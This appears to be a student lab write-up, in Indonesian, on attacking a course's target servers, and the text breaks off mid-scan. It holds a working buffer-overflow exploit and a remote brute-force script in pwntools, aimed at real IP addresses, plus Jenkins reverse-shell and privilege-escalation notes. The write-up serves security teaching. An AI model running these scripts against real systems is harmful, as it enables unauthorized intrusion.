# Write Up KDPL Kelompok 5 [**Web Version Here**](https://hackmd.io/@_Ds8XXa7QHO3kNR_LmJRWA/Bk-pzrVble) Anggota: - Dwi Handoyo - Okka Riswana - Robby Setiawan ## Sistem Akademik (167.205.199.224) ### Penjelasan Berdasarkan hasil *scanning* menggunakan Nmap, teridentifikasi sebuah *service* kustom yang berjalan pada `port 12345` di alamat IP `167.205.199.224`. *Service* ini menyediakan *prompt* untuk otentikasi password. Analisis lebih lanjut pada *binary* yang didapatkan dari *service* FTP di `port 21` menunjukkan adanya kerentanan kritis yaitu **_stack buffer overflow_**. Kerentanan ini terdapat pada fungsi `read()`, di mana program mencoba membaca 1024 *bytes* data ke dalam sebuah *buffer* yang hanya berukuran 32 *bytes*. Hal ini memungkinkan penyerang untuk menimpa (*overwrite*) data pada *stack*, termasuk alamat kembali (*return address*) dari fungsi `main`. Dengan mengontrol *return address*, eksekusi program dapat dialihkan untuk menjalankan kode arbitrer (*arbitrary code execution*), dalam hal ini adalah *shellcode* untuk mendapatkan *remote shell*. Karena alamat *stack* pada *remote server* tidak diketahui secara pasti, strategi eksploitasi mengandalkan *Return-Oriented Programming (ROP)*. Sebuah *gadget* dengan instruksi `push esp; ret` digunakan untuk mengalihkan eksekusi ke *shellcode* yang ditempatkan pada *stack*. Namun, dikarenakan struktur *epilogue* fungsi `main` yang tidak standar, eksploitasi ini memerlukan informasi mengenai alamat *base pointer* (`EBP`) dari *stack frame* `main`. Nilai EBP ini harus dicari dengan metode *brute-force* pada *remote server*. ### Affected Program * **Program Name:** `main` * **Service:** Aplikasi otentikasi kustom yang teridentifikasi oleh Nmap. * **Host Address:** `167.205.199.224` * **Port:** `12345/tcp` * **Operating System:** `Ubuntu Linux` (dari *banner* OpenSSH dan nginx) ### Severity Eksploitasi yang berhasil pada kerentanan ini memberikan penyerang kemampuan *remote code execution* (RCE) dalam melalui proses yang berjalan, yang secara efektif memberikan akses *shell* ke sistem. Kerentanan ini dapat menyebabkan kompromi total terhadap kerahasiaan, integritas, dan ketersediaan data serta layanan pada server. ### Remediation 1. Ganti pemanggilan fungsi `read()` yang tidak aman dengan alternatif yang membatasi jumlah *input* sesuai dengan ukuran *buffer*. Penggunaan `fgets()` adalah salah satu cara yang sering direkomendasikan. 2. Aktifkan *Compiler Protections* pada saat kompilasi dengan menggunakan *compiler flag* dan fasilitas dari *toolchain* lainnya. * Kompilasi dengan *flag* `-fstack-protector-all` untuk menempatkan nilai acak di *stack* yang akan mendeteksi *overflow* sebelum *return address* dapat dieksekusi (*stack canary*). * Pastikan *toolchain* menghasilkan *binary* dengan proteksi NX yang akan mencegah eksekusi kode dari *stack* dan memaksa penyerang untuk menggunakan teknik yang lebih kompleks seperti *ret2libc*. * Kompilasi dengan *flag* `-fPIE -pie` untuk mengaktifkan ASLR pada segmen kode *binary*, sehingga alamat ROP *gadget* menjadi tidak deterministik dan sulit dieksploitasi tanpa adanya *information leak*. ### Proof-of-Concept #### Nmap Scan ```shell $ nmap -A -T4 167.205.199.224 Starting Nmap 7.92 ( https://nmap.org ) at 2025-06-12 05:08 WIB Nmap scan report for 167.205.199.224 Host is up (0.012s latency). Not shown: 995 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: PASV IP 192.168.150.122 is not the same as 167.205.199.224 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.50.16.25 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a8:4b:8e:c7:b2:d9:b6:19:9f:a2:9d:60:03:59:50:61 (ECDSA) |_ 256 e7:38:c9:09:20:fd:a6:7d:f4:39:71:28:a9:91:1b:aa (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Welcome to nginx! |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp closed https 12345/tcp open netbus? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, LPDString, OfficeScan, RTSPRequest, TerminalServerCookie, X11Probe: | Selamat datang di sistem akademik! | Masukkan password: Password Salah! | FourOhFourRequest, Kerberos, LDAPSearchReq, NULL, SMBProgNeg, SSLSessionReq, TLSSessionReq: | Selamat datang di sistem akademik! | Masukkan password: | RPCCheck: | Selamat datang di sistem akademik! |_ Masukkan password: Fatal error: glibc detected an invalid stdio handle 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port12345-TCP:V=7.92%I=7%D=6/12%Time=6849FE5F%P=x86_64-redhat-linux-gnu SF:%r(NULL,36,"Selamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x2 SF:0password:\x20")%r(Help,46,"Selamat\x20datang\x20di\x20sistem\x20akadem SF:ik!\nMasukkan\x20password:\x20Password\x20Salah!\n")%r(OfficeScan,46,"S SF:elamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x2 SF:0Password\x20Salah!\n")%r(GenericLines,46,"Selamat\x20datang\x20di\x20s SF:istem\x20akademik!\nMasukkan\x20password:\x20Password\x20Salah!\n")%r(G SF:etRequest,46,"Selamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\ SF:x20password:\x20Password\x20Salah!\n")%r(HTTPOptions,46,"Selamat\x20dat SF:ang\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20Password\x20 SF:Salah!\n")%r(RTSPRequest,46,"Selamat\x20datang\x20di\x20sistem\x20akade SF:mik!\nMasukkan\x20password:\x20Password\x20Salah!\n")%r(RPCCheck,6A,"Se SF:lamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20 SF:Fatal\x20error:\x20glibc\x20detected\x20an\x20invalid\x20stdio\x20handl SF:e\n")%r(DNSVersionBindReqTCP,46,"Selamat\x20datang\x20di\x20sistem\x20a SF:kademik!\nMasukkan\x20password:\x20Password\x20Salah!\n")%r(DNSStatusRe SF:questTCP,46,"Selamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x SF:20password:\x20Password\x20Salah!\n")%r(SSLSessionReq,36,"Selamat\x20da SF:tang\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20")%r(Termin SF:alServerCookie,46,"Selamat\x20datang\x20di\x20sistem\x20akademik!\nMasu SF:kkan\x20password:\x20Password\x20Salah!\n")%r(TLSSessionReq,36,"Selamat SF:\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20")%r( SF:Kerberos,36,"Selamat\x20datang\x20di\x20sistem\x20akademik!\nMasukkan\x SF:20password:\x20")%r(SMBProgNeg,36,"Selamat\x20datang\x20di\x20sistem\x2 SF:0akademik!\nMasukkan\x20password:\x20")%r(X11Probe,46,"Selamat\x20datan SF:g\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20Password\x20Sa SF:lah!\n")%r(FourOhFourRequest,36,"Selamat\x20datang\x20di\x20sistem\x20a SF:kademik!\nMasukkan\x20password:\x20")%r(LPDString,46,"Selamat\x20datang SF:\x20di\x20sistem\x20akademik!\nMasukkan\x20password:\x20Password\x20Sal SF:ah!\n")%r(LDAPSearchReq,36,"Selamat\x20datang\x20di\x20sistem\x20akadem SF:ik!\nMasukkan\x20password:\x20"); Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.25 seconds ``` Hasil Nmap menunjukkan beberapa *port* terbuka, termasuk FTP di `port 21` dan *service* kustom di `port 12345` yang menjadi target utama eksploitasi. #### Getting The Source and Binary *Service* FTP pada `port 21` mengizinkan *login anonymous*. Dengan menggunakan FTP *client* dan menonaktifkan *passive mode* (karena adanya isu NAT yang terdeteksi oleh Nmap), *source code* (`main.c`) dan *binary executable* (`main`) dapat diunduh untuk analisis lokal. ```shell $ ftp -p 167.205.199.224 Connected to 167.205.199.224 (167.205.199.224). 220 (vsFTPd 3.0.5) Name (167.205.199.224:jsb): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> passive Passive mode off. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 17580 May 28 06:56 main -rw-r--r-- 1 0 0 691 May 28 06:56 main.c 226 Directory send OK. ftp> get main.c local: main.c remote: main.c 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for main.c (691 bytes). 226 Transfer complete. 691 bytes received in 4.2e-05 secs (16452.38 Kbytes/sec) ftp> get main local: main remote: main 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for main (17580 bytes). 226 Transfer complete. 17580 bytes received in 0.0108 secs (1630.50 Kbytes/sec) ftp> 221 Goodbye. ``` Kerentanan utama teridentifikasi pada baris 13 dari `main.c`: ```c= #include <stdio.h> #include <string.h> int main() { char buffer[32]; const char *welcome = "Selamat datang di sistem akademik!\n"; const char *prompt = "Masukkan password: "; printf("%s", welcome); printf("%s", prompt); fflush(stdout); int bytes = read(0, buffer, 1024); // baca dari stdin (fd 0) if (bytes > 0) { buffer[bytes] = '\0'; buffer[strcspn(buffer, "\r\n")] = '\0'; if (strcmp(buffer, "geboymujaer_69") == 0) { printf("Password Sesuai!\n"); printf("Tidak ada apa-apa di dalam sistem ini fr no hoax.\n"); } else { printf("Password Salah!\n"); } } return 0; } ``` Fungsi `read()` dapat menulis jauh melampaui batas `buffer[32]`, menyebabkan *stack buffer overflow* dan memungkinkan penimpaan *return address*. #### Binary Analysis Analisis keamanan pada *binary* menggunakan `checksec` menunjukkan beberapa kerentanan: ```shell $ pwn checksec --file main [*] '/home/jsb/Projects/kdpl/binary/fixed/main' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes ``` * **No canary found** Tidak ada proteksi *stack canary*, sehingga *return address* dapat ditimpa tanpa terdeteksi. * **Stack: Executable** Proteksi *NX bit* tidak aktif untuk *stack*, yang berarti *shellcode* dapat ditempatkan di *stack* dan dieksekusi secara langsung. * **No PIE** Alamat-alamat di dalam *binary* (termasuk kode fungsi dan ROP *gadget*) bersifat statis dan dapat diprediksi. Selanjutnya, analisis *disassembly* pada fungsi `main` menggunakan `objdump` menunjukan: 1. `buffer` berada di offset `-0x34` dari *base pointer* (`ebp`) pada saat akan diisi oleh `read()`. 2. *function epilogue* yang tidak standar. ```shell $ objdump -d -M intel ./main ... 080491c6 <main>: ... 804923b: 8d 45 cc lea eax,[ebp-0x34] 804923e: 50 push eax 804923f: 6a 00 push 0x0 8049241: e8 1a fe ff ff call 8049060 <read@plt> ... 80492ca: b8 00 00 00 00 mov eax,0x0 80492cf: 8d 65 f8 lea esp,[ebp-0x8] 80492d2: 59 pop ecx 80492d3: 5b pop ebx 80492d4: 5d pop ebp 80492d5: 8d 61 fc lea esp,[ecx-0x4] 80492d8: c3 ret ... ``` #### Exploit Plan Instruksi `lea esp,[ecx-0x4]` dapat menjadi tantangan pada saat pembuatan *payload*. Instruksi ini mengatur ulang *stack pointer* (`esp`) berdasarkan nilai yang sebelumnya di-*pop* ke dalam register `ecx`. Akibatnya, *payload* yang sederhana (misalnya, hanya *padding* 'A' diikuti alamat) akan gagal karena `esp` akan diarahkan ke lokasi yang salah. Oleh karena itu, *payload* harus dibentuk untuk mengontrol nilai yang akan di-*pop* ke `ecx`. Rencana eksploitasi yang disusun harus dapat mengatasi tantangan *epilogue* tersebut dan juga tidak pastinya alamat *stack* pada *remote server*. 1. **Kontrol EIP** Melakukan *overflow* pada `buffer` untuk menimpa *return address* pada *stack*. 2. **Gunakan ROP Gadget** Karena alamat *shellcode* di *stack* bersifat tidak reliable antar *environment*, teknik *Return-Oriented Programming* (ROP) dipilih. Targetnya adalah menemukan sebuah *gadget* yang dapat mengalihkan eksekusi ke `esp`, di mana *shellcode* akan ditempatkan. 3. **Navigasi Epilogue** *Payload* harus mengandung nilai spesifik untuk ditimpa ke slot "saved `ecx`" di *stack*. Nilai ini harus dihitung berdasarkan alamat *frame pointer* (`ebp`) agar instruksi `lea esp,[ecx-0x4]` mengarahkan `esp` untuk mengeksekusi *gadget* yang telah disiapkan. Hasil pencarian ROP *gadget* menunjukkan beberapa kandidat. ```shell $ ROPgadget --binary ./main | grep "esp" 0x080492ed : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x080492b3 : add esp, 0x10 ; jmp 0x80492ca 0x08049132 : add esp, 0x10 ; leave ; ret 0x0804901f : add esp, 8 ; pop ebx ; ret 0x080492d1 : clc ; pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret 0x080490dc : hlt ; mov ebx, dword ptr [esp] ; ret 0x080492cf : lea esp, [ebp - 8] ; pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret 0x080492d5 : lea esp, [ecx - 4] ; ret 0x080490dd : mov ebx, dword ptr [esp] ; ret 0x080490ff : nop ; mov ebx, dword ptr [esp] ; ret 0x080490fe : nop ; nop ; mov ebx, dword ptr [esp] ; ret 0x080490fc : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret 0x080490fa : nop ; nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret 0x080492d4 : pop ebp ; lea esp, [ecx - 4] ; ret 0x080492d3 : pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret 0x080492d2 : pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret 0x080490db : push esp ; mov ebx, dword ptr [esp] ; ret 0x0804901a : sal byte ptr [edx + eax - 1], 0xd0 ; add esp, 8 ; pop ebx ; ret 0x08049174 : sub esp, 0x10 ; push eax ; push 0x804c030 ; call edx 0x08049128 : sub esp, 0x14 ; push 0x804c030 ; call eax ``` Pilihan *gadget* yang paling ideal adalah `0x080490db : push esp ; mov ebx, dword ptr [esp] ; ret`. Secara efektif, *gadget* ini berfungsi sebagai `jmp esp`. * `push esp` akan menempatkan alamat dari *payload* (yang berada tepat setelah *return address*) ke atas *stack*. * `mov ebx, ...` adalah *side effect* yang tidak berpengaruh untuk ekploitasi ini. * `ret` akan mengambil alamat yang baru saja di-*push* dan melompat ke sana, sehingga eksekusi beralih ke *shellcode* yang telah disiapkan. Karena *function epilogue* yang kompleks, *payload* harus disusun untuk memanipulasi *stack* dan register secara benar sebelum `ret` dieksekusi. Berikut adalah struktur *payload* yang dirancang: ``` Higher Addresses +--------------------------------+ | Shellcode | <-- (7) +--------------------------------+ | NOP Sled | <-- (6) Gadget akan melompat ke sini +--------------------------------+ | Gadget Address (0x080490db) | <-- (5) Timpa EIP (pada EBP_orig + 4) +--------------------------------+ | Junk for EBP (0xCCCCCCCC) | <-- (4) Timpa EBP asli +--------------------------------+ | Junk for EBX (0xBBBBBBBB) | <-- (3) Timpa EBX asli +--------------------------------+ | Value for ECX (EBP_orig + 8) | <-- (2) Timpa ECX asli +--------------------------------+ | Padding (A * 44) | <-- (1) Overflows buffer (Padding) +--------------------------------+ | buffer[0] | <-- Start of overflow Lower Addresses ``` 1. **Padding (44 bytes)** *Buffer* diisi dengan 44 *bytes* "A" untuk melampaui batas *buffer* seharusnya (`char buffer[32]`) dan mencapai lokasi *saved registers*. Panjang ini dihitung dari `(alamat saved ECX) - (alamat buffer)` = `(EBP - 0x8) - (EBP - 0x34) = 44`. Alamat `saved ECX` didapatkan dari `EBP - 0x8`, yang merupakan lokasi di mana nilai `ecx` akan di-*pop* pada saat *epilogue* fungsi `main` dieksekusi. 2. **Value for ECX (`EBP + 8`)** Ini adalah komponen paling krusial. Nilai ini akan di-*pop* ke register `ecx`. Nilai `EBP + 8` dipilih secara spesifik agar instruksi `lea esp, [ecx - 4]` akan menghasilkan `(EBP + 8) - 4 = EBP + 4`. Ini adalah alamat di *stack* di mana alamat *gadget* ditempatkan sehingga memastikan `esp` menunjuk ke alamat *gadget* tepat sebelum `ret`. 3. **Junk for EBX & EBP (8 bytes)** `0xBBBBBBBB` dan `0xCCCCCCCC` digunakan sebagai *placeholder* untuk mengisi *EBX* dan *EBP*. Nilai-nilai ini tidak fungsional tetapi diperlukan untuk menjaga aligment *payload*. 4. **EIP Overwrite (`0x080490db`)** Ini adalah alamat dari *gadget* `push esp; ret`. Setelah *epilogue* berhasil dinavigasi, instruksi `ret` akan melompat ke alamat ini. 5. **NOP Sled & Shellcode** Ditempatkan setelah EIP *overwrite*. *Gadget* `push esp; ret` akan mengalihkan eksekusi ke NOP *sled*, yang kemudian akan "meluncur" ke *shellcode* untuk dieksekusi. #### How It Should Work Untuk memahami bagaimana *payload* ini berhasil mengambil alih alur eksekusi, berikut adalah visualisasi *step-by-step* dari proses yang terjadi di dalam *stack* . **Tahap 1: Menavigasi *Epilogue* Fungsi `main`** Setelah `read()` melakukan *overflow* pada *buffer*, kondisi *stack* telah dimanipulasi sesuai dengan struktur *payload*. Ketika eksekusi mencapai *epilogue* fungsi `main`, alur berikut terjadi untuk mengarahkan *program counter* (`EIP`) ke *gadget* yang telah dipilih. ```text (Sebelum Epilogue Dieksekusi) EBP -> 0xCCCCCCCC (Junk) ESP -> +--------------------+ | Saved ECX | +--------------------+ | Saved EBX | +--------------------+ | Saved EBP | +--------------------+ | Return Addr | +--------------------+ | NOP Sled | ... ================================ (Setelah 'lea esp,[ecx-4]') EBP -> 0xCCCCCCCC ECX -> 0xFFFFD720 (EBP_orig + 8) ... ... ESP ->+--------------------+ | Return Addr | | (0x080490db) | +--------------------+ | NOP Sled | | | ... ================================ (Setelah 'ret' dari main) EBP -> (Nilai tidak relevan) ECX -> (Nilai tidak relevan) ... EIP -> 0x080490db (Gadget) ESP ->+--------------------+ | NOP Sled | +--------------------+ ... ``` Dan berikut uraian dengan *disassembly*-nya pada *epilogue* `main`: ```shell $ objdump -d -M intel ./main ... 080491c6 <main>: ... 80492d2: 59 pop ecx 80492d3: 5b pop ebx 80492d4: 5d pop ebp 80492d5: 8d 61 fc lea esp,[ecx-0x4] 80492d8: c3 ret ... ``` 1. **`pop ecx`** Nilai yang telah disiapkan (`EBP_orig + 8`) di-*pop* dari *stack* dan dimasukkan ke dalam register `ecx`. 2. **`pop ebx`, `pop ebp`** Nilai *junk* (`0xBBBBBBBB` dan `0xCCCCCCCC`) di-*pop* ke dalam `ebx` dan `ebp`. Register `ebp` sekarang berisi nilai *junk*, namun sekarang tidak lagi menjadi masalah. 3. **`lea esp,[ecx-4]`** Ini adalah langkah utama. `esp` dihitung ulang menjadi `(EBP_orig + 8) - 4 = EBP_orig + 4`. Alamat `EBP_orig + 4` adalah lokasi di *stack* yang di mana telah ditempatkan alamat *gadget* (`0x080490db`). Langkah ini memastikan `esp` menunjuk ke alamat *gadget* sebelum `ret`. 4. **`ret`** Instruksi `ret` dari `main` sekarang akan mengambil nilai dari puncak *stack* (`[esp]`), yang sudah diarahkan ke alamat *gadget*. Eksekusi program pun melompat ke `0x080490db`. **Tahap 2: Eksekusi ROP Gadget dan Peluncuran Shellcode** Setelah berhasil melompat ke *gadget*, langkah terakhir adalah mengalihkan eksekusi ke *shellcode* yang telah ditempatkan di *stack*. Sebagai pengingat, *gadget* yang digunakan adalah: ``` 0x080490db : push esp ; mov ebx, dword ptr [esp] ; ret ``` ```text (Gadget Dimulai: EIP=0x080490db) EIP -> 0x080490db (push esp) ESP ->+--------------------+ | NOP Sled | +--------------------+ | Shellcode | ... ================================== (Setelah 'push esp') EIP -> (addr of 'mov ebx,...') ESP ->+--------------------+ | NOP Sled Address | <---+ +--------------------+ | | NOP Sled | | +--------------------+ | | Shellcode | | ... | | (ret akan pop nilai ini)---+ ================================== (Setelah 'ret' dari Gadget) EIP -> NOP Sled Address ESP ->+--------------------+ | Shellcode | +--------------------+ ... ``` 1. **Awal Eksekusi Gadget** `EIP` menunjuk ke `0x080490db`. `ESP` menunjuk ke awal dari NOP *sled* yang berada tepat setelah alamat *gadget* di dalam *payload*. 2. **`push esp`** Instruksi ini mengambil nilai dari `esp` saat ini (yaitu, alamat dari NOP *sled*) dan menempatkannya ke puncak *stack*. 3. **`ret`** Instruksi `ret` pada akhir *gadget* akan mengambil nilai teratas dari *stack* (yang baru saja di-*push*) dan memasukkannya ke `EIP`. 4. **Eksekusi Shellcode** `EIP` sekarang berisi alamat dari NOP *sled*. Eksekusi "meluncur" melewati instruksi `NOP` (`0x90`) dan akhirnya mencapai *shellcode* yang sesungguhnya. *Shellcode* dieksekusi, dan *shell* berhasil didapatkan pada sistem target. #### Finding EBP Karena *payload* untuk `ecx` bergantung pada nilai `ebp` (`val_for_ecx_slot = EBP_orig + 8`), nilai `ebp` yang stabil untuk *environment* lokal perlu dicari. Dengan menonaktifkan ASLR (`setarch $(uname -m) -R`) dan menggunakan GDB, nilai `ebp` untuk *stack frame* `main()` secara konsisten dapat diidentifikasi. GDB menunjukkan nilai `ebp` adalah `0xffffc2f8` **(untuk *environment* lokal spesifik pada saat penulisan)**. ```shell $ setarch $(uname -m) -R gdb -quiet main Reading symbols from main... (gdb) break main.c:13 Breakpoint 1 at 0x8049233: file main.c, line 13. (gdb) r Starting program: /home/jsb/Projects/kdpl/binary/fixed/main [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Selamat datang di sistem akademik! Masukkan password: Breakpoint 1, main () at main.c:13 warning: Source file is more recent than executable. 13 int bytes = read(0, buffer, 1024); // baca dari stdin (fd 0) (gdb) p/x $ebp $1 = 0xffffc2f8 ``` #### Testing The Exploit Locally *Payload* untuk eksploitasi dibuat menggunakan *script* Python dengan `pwntools`. *Script* ini menggunakan nilai `EBP` yang telah ditemukan (`0xffffc2f8`) untuk menghitung nilai `VALUE_FOR_ECX`. *Payload* ini berhasil dieksekusi secara lokal, membuktikan bahwa logika untuk menavigasi *epilogue* dan melompat ke ROP *gadget* berfungsi. ```python= from pwn import * # --- Configuration --- context.arch = "i386" context.os = "linux" context.log_level = "debug" elf = ELF("./main") # --- Target Selection --- USE_REMOTE = False HOST = "167.205.199.224" PORT = 12345 # --- Exploit Parameters --- EBP_VALUE = 0xFFFFC2F8 GADGET_ADDRESS = 0x080490DB # Padding and the value for ECX based on the EBP value # (EBP_VALUE - 0x8): address of the saved ECX in the stack frame # (EBP_VALUE - 0x34): address of `buffer` in the stack frame PADDING_LEN = (EBP_VALUE - 0x8) - (EBP_VALUE - 0x34) VALUE_FOR_ECX = EBP_VALUE + 0x8 nop_sled = b"\x90" * 16 shellcode = asm(shellcraft.i386.linux.sh()) log.info( f"Using shellcraft shellcode (length: {len(shellcode)} bytes):\n{hexdump(shellcode)}" ) # --- Payload --- payload = b"" payload += b"A" * PADDING_LEN # Padding1 (44 bytes) payload += p32(VALUE_FOR_ECX) # Value for saved ECX slot payload += p32(0xBBBBBBBB) # Junk for saved EBX slot payload += p32(0xCCCCCCCC) # Junk for saved EBP slot payload += p32(GADGET_ADDRESS) # Gadget address for EIP payload += nop_sled # NOP Sled payload += shellcode # Shellcode log.info(f"EBP value used for calculation: {hex(EBP_VALUE)}") log.info(f"Value to be popped into ECX: {hex(VALUE_FOR_ECX)}") log.info(f"Target EIP (gadget address): {hex(GADGET_ADDRESS)}") log.info(f"Total payload length: {len(payload)} bytes") # --- Interaction --- io = None if USE_REMOTE: io = remote(HOST, PORT) else: io = process(elf.path) io.recvuntil(b"Selamat datang di sistem akademik!\n") io.recvuntil(b"Masukkan password: ") log.info("Sending payload...") io.sendline(payload) log.info("Switching to interactive mode.") io.interactive() ``` ![image](https://hackmd.io/_uploads/Hk59bcPXxl.png) #### Bruteforcing The Remote Process Address Untuk mengeksploitasi *remote server*, nilai `EBP` yang sebenarnya tidak diketahui. Dengan asumsi ASLR pada *stack* server juga nonaktif, nilai `EBP` akan tetap, namun berbeda dari *environment* lokal karena perbedaan `argv` dan `envp`. Oleh karena itu, teknik *brute-force* digunakan untuk menebak nilai `EBP` pada *remote server*. *Script* di bawah ini mengotomatiskan proses ini dengan mencoba berbagai kemungkinan nilai `EBP` dalam rentang tertentu di sekitar nilai EBP lokal yang diketahui. ```python= from pwn import * # --- Configuration --- context.arch = "i386" context.os = "linux" context.log_level = "info" elf = ELF("./main") push_esp_ret_gadget_addr = 0x080490DB padding1_len = 44 # (EBP_val - 0x8) - (EBP_val - 0x34) nop_sled = b"\x90" * 16 shellcode = asm(shellcraft.i386.linux.sh()) # --- Brute-Force Parameters --- local_ebp = 0xFFFFC2F8 EBP_SEARCH_RANGE_BELOW = 0x8000 EBP_SEARCH_RANGE_ABOVE = 0x2000 EBP_STEP = 4 # --- Target --- HOST = "167.205.199.224" PORT = 12345 def attempt_exploit(remote_ebp_guess): log.info(f"Attempting with EBP_guess: {hex(remote_ebp_guess)}") val_for_ecx_slot = remote_ebp_guess + 0x8 payload = b"" payload += b"A" * padding1_len payload += p32(val_for_ecx_slot) payload += p32(0xBBBBBBBB) payload += p32(0xCCCCCCCC) payload += p32(push_esp_ret_gadget_addr) payload += nop_sled payload += shellcode io = None try: io = remote(HOST, PORT, timeout=5) # io = process(elf.path) io.recvuntil(b"Masukkan password: ", timeout=2) io.sendline(payload) io.sendline(b"echo SHELL_SUCCESS_MARKER_XYZ") response = io.recvuntil(b"SHELL_SUCCESS_MARKER_XYZ", timeout=3) if b"SHELL_SUCCESS_MARKER_XYZ" in response: log.success(f"SHELL OBTAINED with EBP_guess: {hex(remote_ebp_guess)} !!!") io.interactive() return True log.warning(f"Marker not found for EBP_guess: {hex(remote_ebp_guess)}") except PwnlibException as pwn_e: log.warning( f"PwnlibException with EBP_guess {hex(remote_ebp_guess)}: {type(pwn_e).__name__} - {str(pwn_e)}" ) except ConnectionRefusedError: log.error( f"Connection refused for EBP_guess {hex(remote_ebp_guess)}. Server/port issue?" ) except ConnectionResetError: log.warning( f"ConnectionResetError with EBP_guess {hex(remote_ebp_guess)}. Remote process likely crashed." ) except Exception as e: log.warning( f"Generic error with EBP_guess {hex(remote_ebp_guess)}: {type(e).__name__} - {str(e)}" ) finally: if io: io.close() return False log.info(f"Starting EBP brute-force around local EBP {hex(local_ebp)}") log.info( f"Search range: -{hex(EBP_SEARCH_RANGE_BELOW)} to +{hex(EBP_SEARCH_RANGE_ABOVE)}, step {EBP_STEP}" ) if attempt_exploit(local_ebp): exit() for i in range(1, (EBP_SEARCH_RANGE_BELOW // EBP_STEP) + 1): ebp_guess = local_ebp - (i * EBP_STEP) if attempt_exploit(ebp_guess): exit() for i in range(1, (EBP_SEARCH_RANGE_ABOVE // EBP_STEP) + 1): ebp_guess = local_ebp + (i * EBP_STEP) if attempt_exploit(ebp_guess): exit() log.critical("Brute-force finished. No EBP guess worked in the specified range.") ``` #### Remote Exploit Difficulties Meskipun logika eksploitasi telah terbukti valid secara lokal, upaya *brute-force* pada *remote server* dalam rentang yang cukup luas (`+/- 32KB` dari EBP lokal) tidak membuahkan hasil. Setiap percobaan menghasilkan `EOFError`, yang mengindikasikan bahwa proses *remote* mengalami *crash* karena percobaan nilai `EBP` yang salah. ## Jenkins (167.205.199.25) ### Penjelasan Scanning menggunakan *nmap* menunjukan bahwa service yang dapat diakses pada server ini adalah Jenkins. Jenkins adalah alat otomasi open-source yang digunakan untuk Continuous Integration (CI) dan Continuous Deployment (CD) dalam pengembangan perangkat lunak. Dengan Jenkins, tim pengembang dapat mengotomatisasi proses build, pengujian, dan deployment aplikasi, sehingga meningkatkan efisiensi dan mengurangi kesalahan manusia. Jenkins memiliki Script Console, sebuah fitur yang memungkinkan administrator menjalankan Groovy scripts langsung di dalam lingkungan Jenkins. Namun, jika tidak dikonfigurasi dengan benar, fitur ini bisa menjadi pintu masuk bagi penyerang untuk melakukan *reverse shell* dan mendapatkan akses ke sistem. ### Affected Program - Jenkins - Linux Kernel ### Severity - OS Server Linux Ubuntu - Terindikasi kerentanan [CVE-2023-2640](https://www.cvedetails.com/cve/CVE-2023-2640/) dan [CVE-2023-32629](https://www.cvedetails.com/cve/CVE-2023-32629/) - Penyerangan dapat memanfaatkan kerentanan dalam sistem OverlayFS dalam Ubuntu, dimana sistem melewatkan beberapa pemeriksaan hak akses untuk file, sehingga penyerangan dapat memanipulasi file untuk "tampak" pada hak akses . ### Remediation 1. Pada umumnya *bruteforcing* membutuhkan waktu yang lama. Namun pada server jenkins ini dapat dilakukan dalam waktu singkat. Ini disebabkan karena pemilihan *credentials* yang terlalu umum. *Username* dan *password* juga memiliki nilai yang sama sehingga mempermudah proses *bruteforcing*. Pemilihan *credentials* yang baik dengan kombinasi angka, huruf, dan simbol dapat mempersulit *bruteforcintg*. Penggunaan random password generator juga disarankan agar password tidak mudah ditebak. 2. Batasi Akses ke Script Console dengan cara hanya whitelist user dan mengimplementasikan plugin role-based authorization strategy 3. Perbarui Jenkins dan Plugin ke versi terbaru 4. Bila perlu nonaktfikan script console. ### Proof-of-Concept #### Nmap Scan ```shell $ nmap -A -T4 167.205.199.25 Starting Nmap 7.92 ( https://nmap.org ) at 2025-05-30 19:43 WIB Nmap scan report for 167.205.199.25 Host is up (0.13s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f4:20:e1:6b:25:9c:66:f7:c1:71:67:0b:83:b6:8e:c2 